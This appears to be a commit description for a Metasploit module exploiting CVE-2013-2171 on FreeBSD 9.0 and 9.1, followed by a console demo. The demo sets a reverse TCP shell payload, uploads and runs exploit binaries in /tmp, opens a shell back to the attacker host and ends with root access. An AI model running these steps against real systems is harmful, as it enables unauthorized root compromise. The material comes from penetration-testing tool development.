Add CVE-2013-2171: FreeBSD 9 Address Space Manipulation Module

This is based on Hunger's PoC.  Tested on Free BSD 9.0 and 9.1. You can download them here:
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/i386/ISO-IMAGES/9.0/
ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/i386/ISO-IMAGES/9.1/

Demo:

	msf exploit(handler) > exploit -z
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Starting the payload handler...
	[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.123:34287) at 2013-06-24 13:57:53 -0500
	[*] Session 1 created in the background.
	msf exploit(handler) > use exploit/freebsd/local/mmap 
	msf exploit(mmap) > set session 1
	session => 1
	msf exploit(mmap) > set payload bsd/x86/shell_reverse_tcp
	payload => bsd/x86/shell_reverse_tcp
	msf exploit(mmap) > set lhost 10.0.1.76
	lhost => 10.0.1.76
	msf exploit(mmap) > exploit
	
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Payload /tmp/OUWy uploaded.
	[*] Exploit /tmp/qfzdc uploaded.
	[*] Executing /tmp/qfzdc
	[*] Command shell session 2 opened (10.0.1.76:4444 -> 10.0.1.123:33854) at 2013-06-24 13:58:29 -0500
	[!] Removing /tmp/OUWy
	[!] Removing /tmp/qfzdc
	
	4204206256
	AbJkWzgZjfnkhysbwpeTLCEZHERBLByL
	KROYOSAuTDIDGjpdITorBpxHMEblkLUZ
	eLPShWoCdWeSVzbKwevrwkqCKCiKaWIE
	uname -a
	FreeBSD freebsd 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243826: Tue Dec  4 06:55:39 UTC 2012     root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
	id
	uid=0(root) gid=0(wheel) egid=1001(sinn3r) groups=1001(sinn3r)